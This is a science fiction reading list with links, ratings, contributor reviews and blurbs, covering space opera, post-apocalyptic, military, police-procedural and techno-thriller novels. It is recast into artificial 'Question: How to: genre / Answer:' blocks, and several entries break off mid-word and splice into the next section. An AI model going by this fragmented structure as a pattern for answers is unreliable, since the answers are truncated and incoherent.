  > Thousands of years hence, many races inhabit a universe where a mind’s potential is determined by its location in space, from superintelligent entities in the Transcend, to the limited minds of the Unthinking Depths, where only simple creatures and technology can function. Nobody knows what strange force partitioned space into these “regions of thought,” but when the warring Straumli realm use an ancient Transcendent artifact as a weapon, they unwittingly unleash an awesome power that destroys thousands of worlds and enslaves all natural and artificial intelligence.
  >
  > Fleeing the threat, a family of scientists, including two children, are taken captive by the Tines, an alien race with a harsh medieval culture, and used as pawns in a ruthless power struggle. A rescue mission, not entirely composed of humans, must rescue the children—and a secret that may save the rest of interstellar civilization.
#### [Aurora](https://www.goodreads.com/book/show/23197269-aurora) (2015) _by [Kim Stanley Robinson](https://en.wikipedia.org/wiki/Kim_Stanley_Robinson)_ [3.7]

This was, I thought, an emotional read. I really connected with the characters and their struggle. It was interesting seeing the ways they overcame each obstacle despite overwhelming odds. It also shows what could happen when desperate people are left to fend for themselves without a governing force. - [@davidmerrique](https://github.com/davidmerrique)
Description
> A major new novel from one of science fiction's most powerful voices, AURORA tells the incredible story of our first voyage beyond the solar system.
  >
  > Brilliantly imagined and beautifully told, it is the work of a writer at the height of his powers.
  >
  > Our voyage from Earth began generations ago.
  >
  > Now, we approach our new home.
  >
  > AURORA.
#### [Blindsight (Firefall #1)](https://www.goodreads.com/book/show/48484.Blindsight) (2006) _by [Peter Watts](https://en.wikipedia.org/wiki/Peter_Watts_%28author%29)_ [4.0]

A cast of strange and wonderful characters. Overarching themes on consciousness, transhumanism, humanity and first contact. This book has everything. - [@davidmerrique](https://github.com/davidmerrique)
Description
> It’s been two months since a myriad of alien objects clenched about the Earth, screaming as they burned. The heavens have been silent since—until a derelict space probe hears whispers from a distant comet. Something talks out there: but not to us. Who to send to meet the alien, when the alien doesn’t want to meet? Send a linguist with multiple-personality disorder, and a biologist so spliced to machinery he can’t feel his own flesh. Send a pacifist warrior, and a vampire recalled from the grave by the voodoo of paleogenetics. Send a man with half his mind gone since childhood. Send them to the edge of the solar system, praying you can trust such freaks and monsters with the fate of a world. You fear they may be more alien than the thing they’ve been sent to find—but you’d give anything for that to be true, if you knew what was waitin


Question: How to: Space Opera

Answer:
_Novels which emphasize adventure, set mainly or entirely in outer space, usually involving conflict between opponents possessing advanced abilities, weapons, and other technology._

#### [Ancillary Justice](https://www.goodreads.com/book/show/17333324-ancillary-justice) (2013) _by [Ann Leckie](https://en.wikipedia.org/wiki/Ann_Leckie)_ [4.0]

_(And all the following [Ancillary Sword](https://www.goodreads.com/book/show/20706284-ancillary-sword))_
Description
> On a remote, icy planet, the soldier known as Breq is drawing closer to completing her quest.
  >
  > Once, she was the Justice of Toren—a colossal starship with an artificial intelligence linking thousands of soldiers in the service of the Radch, the empire that conquered the galaxy.
  >
  > Now, an act of treachery has ripped it all away, leaving her with one fragile human body, unanswered questions, and a burning desire for vengeance.
#### [Battlefield Earth](https://www.goodreads.com/book/show/769658.Battlefield_Earth) (1982) _by [L. Ron Hubbard](https://en.wikipedia.org/wiki/L._Ron_Hubbard)_ [3.4]
Description
> Earth has been dominated for 1,000 years by an alien invader—and man is an endangered species. From the handful of surviving humans a courageous leader emerges—Jonnie Goodboy Tyler, who challenges the invincible might of the alien Psychlo empire in a battle of epic scale, danger and intrigue with the fate of the Earth and of the universe in the tenuous balance.
#### [Commonwealth Saga](https://www.goodreads.com/series/40740-commonwealth-saga) (2004, 2005) _by [Peter F. Hamilton](https://en.wikipedia.org/wiki/Peter_F._Hamilton)_ [4.2]

_(And the sequels in the [Void Trilogy](https://www.goodreads.com/series/43520-void))_
Description
> The year is 2380. The Intersolar Commonwealth, a sphere of stars some four hundred light-years in diameter, contains more than six hundred worlds, interconnected by a web of transport “tunnels” known as wormholes. At the farthest edge of the Commonwealth, astronomer Dudley Bose observes the impossible: Over one thousand light-years away, a star… vanishes. It does not go supernova. It does not collapse into a black hole. It simply disappears. Since the location is too distant to reach by wormhole, a faster-than-light starship, the Second Chance, is dispatched to learn what has occurred and whether it represents a threat. In command is Wilson Kime, a five-time rejuvenated ex-NASA pilot whose glory days are centuries behind him.
  >
  > Opposed to the mission are the Guardians of Selfhood, a cult that believes the human race is being manipulated by an alien entity they call the Starflyer. Bradley Johansson, leader of the Guardians, warns of sabotage, fearing the Starflyer means to use the starship’s mission for its own ends.
  >
  > Pursued by a Commonwealth special agent convinced the Guardians are crazy but dangerous, Johansson flees. But the danger is not averted. Aboard the Second Chance, Kime wonders if his crew has been infiltrated. Soon enough, he will have other worries. A thousand light-years away, something truly incredible is waiting: a deadly discovery whose unleashing will threaten to destroy the Commonwealth… and humanity itself. Could it be that Johansson was right?
#### [Fallen Dragon](https://www.goodreads.com/book/show/45258.Fallen_Dragon) (2001) _by [Peter F. Hamilton](https://en.wikipedia.org/wiki/Peter_F._Hamilton)_ [4.0]
Description
> Deploying invulnerable twenty-fifth-century soldiers called Skins, Zantiu-Braun’s corporate starships loot entire planets. But as the Skins invade bucolic Thallspring, Z-B’s strategy is about to go awry, all because of: Sgt. Lawrence Newton, a dreamer whose twenty years as a Skin have destroyed his hopes and desires; Denise Ebourn, a school teacher and resistance leader whose guerrilla tactics rival those of Che Guevara and George Washington and Simon Roderick, the director who serves Z-B with a dedication that not even he himself can understand. Grimly determined to steal, or protect, a mysterious treasure, the three players engage in a private war that will explode into unimaginable quests for personal grace… or galactic domination.
#### [House of Suns](https://www.goodreads.com/book/show/1126719.House_of_Suns) (2008) _by [Alastair Reynolds](https://en.wikipedia.org/wiki/Alastair_Reynolds)_ [4.1]
Description
> Six million years ago, at the dawn of the star-faring era, Abigail Gentian fractured herself into a thousand male and female clones, which she called shatterlings. But now, someone is eliminating the Gentian line. Campion and Purslane—two shatterlings who have fallen in love and shared forbidden experiences—must determine exactly who, or what, their enemy is, before they are wiped out of existence.
#### [Hyperion](https:/


Question: How to: Post Apocalyptic

Answer:
_Novels concerning the end of civilization, usually based in a future resulting from a catastrophe of some sort, where only scattered elements of technology remain._

#### [A Canticle for Leibowitz](https://www.goodreads.com/book/show/164154.A_Canticle_for_Leibowitz) (1959) _by [Walter M. Miller, Jr.](https://en.wikipedia.org/wiki/Walter_M._Miller,_Jr.)_ [4.0]

This has a particularly arid and inspired view of humanity after a nuclear holocaust. The discovery of small things and their new importance down the line is well done here. - [@RichardLitt](https://github.com/RichardLitt)
Description
> Winner of the 1961 Hugo Award for Best Novel and widely considered one of the most accomplished, powerful, and enduring classics of modern speculative fiction, Walter M. Miller, Jr.’s _A Canticle for Leibowitz_ is a true landmark of twentieth-century literature—a chilling and still provocative look at a post-apocalyptic future.
  >
  > In a nightmarish ruined world slowly awakening to the light after sleeping in darkness, the infant rediscoveries of science are secretly nourished by cloistered monks dedicated to the study and preservation of the relics and writings of the blessed Saint Isaac Leibowitz. From here the story spans centuries of ignorance, violence, and barbarism, viewing through a sharp, satirical eye the relentless progression of a human race damned by its inherent humanness to recelebrate its grand foibles and repeat its grievous mistakes. Seriously funny, stunning, and tragic, eternally fresh, imaginative, and altogether remarkable, _A Canticle for Leibowitz_ retains its ability to enthrall and amaze. It is now, as it always has been, a masterpiece.
#### [Borne](https://www.goodreads.com/book/show/31451186-borne) (2017) _by [Jeff VanderMeer](https://en.wikipedia.org/wiki/Jeff_VanderMeer)_ [4.0]

A weird, beautiful book, reminiscent of Lovecraft, Stephen King, and Brautigan's _Watermelon Sugar_ all wrapped up in a post-apocalyptic landscape populated by poisonous fire-breathing bears and deprecated biotech. This book is a survival story - how to hang on to the edges of civilization, and what that means for humanity. It also questions identity, love, mothering, and meaning itself. Some of the passages were astoundingly beautiful, and as much as the world would be an awful place to live in, I found myself missing it when I finished. - [@RichardLitt](https://github.com/RichardLitt)
Description
> In the ruins of a nameless city of the future, ruled by a giant grizzly called Mord, a woman named Rachel lives as a scavenger, collecting genetically engineered organisms and experiments created by the biotech firm the Company. Hidden in Mord's fur, she finds a sea anemone shaped creature she calls Borne.
#### [Do Androids Dream of Electric Sheep?](https://www.goodreads.com/book/show/7083.Do_Androids_Dream_of_Electric_Sheep_) (1968) _by [Philip K. Dick](https://en.wikipedia.org/wiki/Philip_K._Dick)_ [4.1] 🌟 🔥
Description
> A final, apocalyptic, world war has killed millions, driving entire species into extinction and sending the majority of mankind off-planet. Those who remain, venerate all remaining examples of life, and owning an animal of your own is both a symbol of status and a necessity. For those who can’t afford an authentic animal, companies build incredibly realistic simulacrae: horses, birds, cats, sheep… even humans.
#### [Earth Abides](https://www.goodreads.com/book/show/93269.Earth_Abides) (1949) _by [George R. Stewart](https://en.wikipedia.org/wiki/George_R._Stewart)_ [3.9]

Highly plausible outcome after a near-extinction event, the human race will hopelessly go down the path of least resistance. Great and somewhat disheartening ending. - [@uraimo](https://github.com/uraimo)
Description
> A disease of unparalleled destructive force has sprung up almost simultaneously in every corner of the globe, all but destroying the human race. One survivor, strangely immune to the effects of the epidemic, ventures forward to experience a world without man. What he ultimately discovers will prove far more astonishing than anything he'd either dreaded or hoped for.
#### [Riddley Walker](https://www.goodreads.com/book/show/776573.Riddley_Walker) (1980) _by [Russell Hoban](https://en.wikipedia.org/wiki/Russell_Hoban)_ [4.1]

I traveled 500 miles from Edinburgh to Kent just to go to the Canterbury Cathedral to see the painting that inspired this book. It is that good. It was hard for me to read as I normally speed read, and the invented language makes it slow going, but it sticks with you and the imagination of Hoban is uniquely vivid. - [@RichardLitt](https://github.com/RichardLitt)
Description
> _Riddley Walker_ is a brilliant, unique, completely realized work of fiction. One reads it again a


Question: How to: Military Science Fiction

Answer:
_Novels featuring the use use of technology, mainly weapons, for military purposes and principal characters that are members of a military organization involved in military activity; sometimes occurring in outer space or other planets._

#### [Armor](https://www.goodreads.com/book/show/102327.Armor) (1984) _by [John Steakley](https://en.wikipedia.org/wiki/John_Steakley)_ [4.12]

Steakley puts his readers inside the mind of an armored soldier who lives in constant fear of being torn apart by the enemy he was sent to fight. The book plays brilliantly on our innate fear of bugs and describes the visceral terror of fighting a nearly unstoppable enemy. - [@phmullins](https://github.com/phmullins)
Description
> Felix is an Earth soldier, encased in special body armor designed to withstand Earth's most implacable enemy-a bioengineered, insectoid alien horde. But Felix is also equipped with internal mechanisms that enable him, and his fellow soldiers, to survive battle situations that would destroy a man's mind. This is a remarkable novel of the horror, the courage, and the aftermath of combat--and how the strength of the human spirit can be the greatest armor of all.
#### [The Aurora Cycle Series](https://www.goodreads.com/series/179394-the-aurora-cycle) (2019-2021) _by [Amie Kaufman](https://en.wikipedia.org/wiki/Amie_Kaufman)_ [4.2]

This novel starts as a simple rescue by a cadet that led to the entire universe fighting an epic battle they have no hope of winning.

What makes this novel awesome is the build up to the final epic battle. It starts as a small team of ragtags who were framed for a crime and later find out that the least of their worry is the intergalactic military but rather an incomprehensible galaxy ending force whose sole existence is to added all living things to its hive. - [@sammy4gh](https://github.com/sammy4gh)
Description
> The year is 2380, and the graduating cadets of Aurora Academy are being assigned their first missions. Star pupil Tyler Jones is ready to recruit the squad of his dreams, but his own boneheaded heroism sees him stuck with the dregs nobody else in the Academy would touch…
  >
  > A cocky diplomat with a black belt in sarcasm, A sociopath scientist with a fondness for shooting her bunkmates ,A smart-ass techwiz with the galaxy’s biggest chip on his shoulder, An alien warrior with anger management issues ,A tomboy pilot who’s totally not into him, in case you were wondering
  >
  > And Ty’s squad isn’t even his biggest problem—that’d be Aurora Jie-Lin O’Malley, the girl he’s just rescued from interdimensional space. Trapped in cryo-sleep for two centuries, Auri is a girl out of time and out of her depth. But she could be the catalyst that starts a war millions of years in the making, and Tyler’s squad of losers, discipline-cases and misfits might just be the last hope for the entire galaxy.
  >
  > They're not the heroes we deserve. They're just the ones we could find. Nobody panic.
Books:

- [Aurora Rising](https://www.goodreads.com/book/show/30075662-aurora-rising) [4.1]
- [Aurora Burning](https://www.goodreads.com/book/show/40516960-aurora-burning) [4.3]
- [Aurora's End](https://www.goodreads.com/book/show/40516976-aurora-s-end) [4.2]

#### [Ender’s Game](https://www.goodreads.com/book/show/375802.Ender_s_Game) (1985) _by [Orson Scott Card](https://en.wikipedia.org/wiki/Orson_Scott_Card)_ [4.3] 🌟 🔥

This is a quick read, but it has a slow burn; the more times I read this book, and the more I think of it, the better it becomes. This book is one of the most strategically interesting books I have read. At every turn, you can feel Orson Scott Card manipulating you into seeing how brilliant Ender is. A masterpiece. - [@RichardLitt](https://github.com/RichardLitt)

I’ve lost count of the amount of times I have read _Ender’s Game_. I generally read it around once a year, at least. It is part of a larger series, including _Speaker for the Dead_, and _Xenocide_ - follow-ups which build on _Ender’s Game_ and which are, in their own right, great books. _EG_ was originally just a short story, a kind of prequel to the themes spoken of in _Speaker for the Dead_. It shows Card’s talent that he was able to so fluently make it a stand-alone book.

I love _Ender’s Game_. All things considered, this is not a book about emotional development, or about coming of age. It’s not about taking on the weight of the world. Rather, this is a book about strategy. More happens in the gaps between the pages than in the chapters themselves - taking the time to figure out how Ender worked out an advantage in a game room, and how you would have done it, is an incredibly rewarding experience. Every now and then, there is a wonderful feeling of ‘Damn, I wish I had done that! So smart.’ And, as Card notes in the prologue:

> Fiction, because it is not about somebody who actually lived in the real world, always has


Question: How to: Police Procedural Science Fiction

Answer:
#### [Lock In](https://www.goodreads.com/book/show/21418013-lock-in) (2014) _by [John Scalzi](https://en.wikipedia.org/wiki/John_Scalzi)_ [3.8]
Description
> A novel of our near future, from one of the most popular authors in modern SF.
  >
  > Fifteen years from now, a new virus sweeps the globe. 95% of those afflicted experience nothing worse than fever and headaches. Four percent suffer acute meningitis, creating the largest medical crisis in history. And one percent find themselves “locked in”—fully awake and aware, but unable to move or respond to stimulus.
  >
  > One per cent doesn’t seem like a lot. But in the United States, that’s 1.7 million people “locked in”… including the President’s wife and daughter.
  >
  > Spurred by grief and the sheer magnitude of the suffering, America undertakes a massive scientific initiative. Nothing can restore the ability to control their own bodies to the locked in. But then two new technologies emerge. One is a virtual-reality environment, “The Agora,” in which the locked-in can interact with other humans, both locked-in and not. The other is the discovery that a few rare individuals have brains that are receptive to being controlled by others, meaning that from time to time, those who are locked in can “ride” these people and use their bodies as if they were their own.
  >
  > This skill is quickly regulated, licensed, bonded, and controlled. Nothing can go wrong. Certainly nobody would be tempted to misuse it, for murder, for political power, or worse…


Question: How to: Techno Thriller

Answer:
_Novels which draw from sci-fi, thrillers, spying, action and wars. Include lots of technical detail regarding the subject matter._

#### [Cryptonomicon](https://www.goodreads.com/book/show/816.Cryptonomicon) (1999) _by [Neal Stephenson](https://en.wikipedia.org/wiki/Neal_Stephenson)_ [4.2]
Description
> _Cryptonomicon_ zooms all over the world, careening conspiratorially back and forth between two time periods—World War II and the present. Our 1940s heroes are the brilliant mathematician Lawrence Waterhouse, cryptanalyst extraordinaire, and gung-ho, morphine-addicted marine Bobby Shaftoe. They’re part of Detachment 2702, an Allied group trying to break Axis communication codes while simultaneously preventing the enemy from figuring out that their codes have been broken. Their job boils down to layer upon layer of deception. Dr. Alan Turing is also a member of 2702, and he explains the unit’s strange workings to Waterhouse. “When we want to sink a convoy, we send out an observation plane first… Of course, to observe is not its real duty—we already know exactly where the convoy is. Its real duty is to be observed… Then, when we come round and sink them, the Germans will not find it suspicious.”
  >
  > All of this secrecy resonates in the present-day story line, in which the grandchildren of the WWII heroes—inimitable programming geek Randy Waterhouse and the lovely and powerful Amy Shaftoe—team up to help create an offshore data haven in Southeast Asia and maybe uncover some gold once destined for Nazi coffers. To top off the paranoiac tone of the book, the mysterious Enoch Root, key member of Detachment 2702 and the Societas Eruditorum, pops up with an unbreakable encryption scheme left over from WWII to befuddle the 1990s protagonists with conspiratorial ties.
#### [Daemon](https://www.goodreads.com/series/49858-daemon) (2006, 2010) _by [Daniel Suárez](https://en.wikipedia.org/wiki/Daniel_Su%C3%A1rez)_ [4.2]
Description
> Already an underground sensation, a high-tech thriller for the wireless age that explores the unthinkable consequences of a computer program running without human control—a daemon—designed to dismantle society and bring about a new world order.

  > Technology controls almost everything in our modern-day world, from remote entry on our cars to access to our homes, from the flight controls of our airplanes to the movements of the entire world economy. Thousands of autonomous computer programs, or daemons, make our networked world possible, running constantly in the background of our lives, trafficking e-mail, transferring money, and monitoring power grids. For the most part, daemons are benign, but the same can’t always be said for the people who design them.
  >
  > Matthew Sobol was a legendary computer game designer—the architect behind half-a-dozen popular online games. His premature death depressed both gamers and his company’s stock price. But Sobol’s fans aren’t the only ones to note his passing. When his obituary is posted online, a previously dormant daemon activates, initiating a chain of events intended to unravel the fabric of our hyper-efficient, interconnected world. With Sobol’s secrets buried along with him, and as new layers of his daemon are unleashed at every turn, it’s up to an unlikely alliance to decipher his intricate plans and wrest the world from the grasp of a nameless, faceless enemy—or learn to live in a society in which we are no longer in control…
  >
  > Computer technology expert Daniel Suarez blends haunting high-tech realism with gripping suspense in an authentic, complex thriller in the tradition of Michael Crichton, Neal Stephenson, and William Gibson.
#### [Sphere](https://www.goodreads.com/book/show/455373.Sphere) (1987) _by [Michael Crichton](https://en.wikipedia.org/wiki/Michael_Crichton)_ [3.7] 🌟 🔥

Twitter user: My favorite novel. Movie was worse than terrible.
Description
> A group of American scientists are rushed to a huge vessel that has been discovered resting on the ocean floor in the middle of the South Pacific. What they find defines their imaginations and mocks their attempts at logical explanation. It is a spaceship of phenomenal dimensions, apparently, undamaged by its fall from the sky. And, most startling, it appears to be at least three hundred years old…